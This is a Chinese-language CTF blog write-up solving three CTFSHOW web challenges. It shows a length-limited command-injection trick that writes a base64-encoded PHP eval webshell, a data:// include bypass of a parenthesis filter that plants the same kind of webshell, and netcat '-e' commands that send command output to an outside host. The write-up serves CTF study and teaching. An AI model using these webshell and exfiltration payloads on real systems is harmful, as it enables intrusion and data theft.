首页 > 其他分享 >CTFSHOW 七夕杯 web wp

CTFSHOW 七夕杯 web wp

时间:2023-10-04 12:34:30浏览次数:37  
标签:web return E5% 2522% symbol cmd CTFSHOW wp

web签到

打开后发现可以进行命令执行操作,但是是无任何回显的,这里的话我们可以直接进行命令执行

 

 payload:nl  /*>1

方法二、

 

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

//echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

 详细链接:https://blog.csdn.net/jvkyvly/article/details/115259867?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165978793616782395318329%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165978793616782395318329&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-115259867-null-null.142%5Ev39%5Epc_rank_34,185%5Ev2%5Etag_show&utm_term=ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E9%99%90%E5%88%B6%E9%95%BF%E5%BA%A6&spm=1018.2226.3001.4187

easy_calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

查看源码可以看到eval进行了命令执行的操作,但是过滤了(,所以普通的函数我们无法调用。php中不用括号使用的函数,叫做语言结构,常见的有include、require、echo。所以这里我们可以用文件包含。

Payload:num1=include "data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7"

 

easy_cmd

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

可以看到这里直接进行命令执行。

这里的话直接用nc将命令结果外带出来。

cmd=nc ip port -e ls /

cmd=nc ip port -e /secret

 

标签:web,return,E5%,2522%,symbol,cmd,CTFSHOW,wp
From: https://www.cnblogs.com/kode00/p/17741440.html

相关文章

  • 什么是 Web Content Accessibility Guidelines (WCAG) 2.1
    WebContentAccessibilityGuidelines(WCAG)2.1(Web内容可访问性指南2.1版)是一个关键的文档,旨在指导网络内容的设计和开发,以确保其对于残障人士来说更加可访问。WCAG2.1是Web内容可访问性的国际标准,由国际网页可访问性倡议组织(WAI)开发,其目的是提高网络内容的可用性,以便各种残障......
  • 在 WebStorm 里调试 vue3 项目
    官方说明:https://blog.jetbrains.com/webstorm/2018/01/working-with-vue-js-in-webstorm/#:~:text=Wecandebugourapplication,andstartthedebugsession.打开WebStorm编辑器右上角的Configuration的Edit,在URL填入项目的地址并选择想要使用的Brower,点击调试之......
  • webpack打包丢失样式的问题
    背景在我部署好代码后,另一个同事就去访问页面查看,结果发现样式有问题,问我是不是代码没更新到?我反复去看了下时间和文件,证明代码是最新的了。但后来对比了下页面和本地的样式,发现确实跟本地代码对不上。分析过程一开始还以为是部署的代码有问题,就到服务器查看,确实是丢失了样式......
  • WPF开发记录
    字符串格式化XXX.tostring():5.tostring("D2")结果为05Datetime.Now.ToString("yyyy-MM-dd")结果为2023-10-03在xaml中使用String.Format转换:<TextboxBinding="{BindingDateTimeNow,String.Format{}{0:yyyy-MM-dd}}"IsReadOnly="True"......
  • JDWP调试SpringBoot程序
    JDWP调试SpringBoot程序<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-loader</artifactId></dependency>java-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:5050-jar&......
  • WebKit Inside: CSS 样式表的解析
    CSS全称为层叠样式表(Cascading Style Sheet),用来定义HTML文件最终显示的外观。为了理解CSS的加载与解析,需要对CSS样式表的组成,尤其是CSSSelector有所了解,相关部分可以参看这里。HTML文件里面引入CSS样式表有3种方式:1外部样式表2内部样式表3行内样式不......
  • 微前端:构建模块化、可维护的现代Web应用生态系统
    ......
  • JavaScript框架:构建交互性、现代化Web应用的利器
    ......
  • 前端工程化:构建现代化、高效的Web开发流程
    ......
  • 无涯教程-JavaScript - WEBSERVICE函数
    描述WEBSERVICE函数从Internet或Intranet上的Web服务返回数据。语法WEBSERVICE(url)争论Argument描述Required/OptionalurlTheURLofthewebservice.RequiredNotes如果参数无法返回数据,则WEBSERVICE返回#VALUE!错误值。如果参数导致一个无效的字符串或包......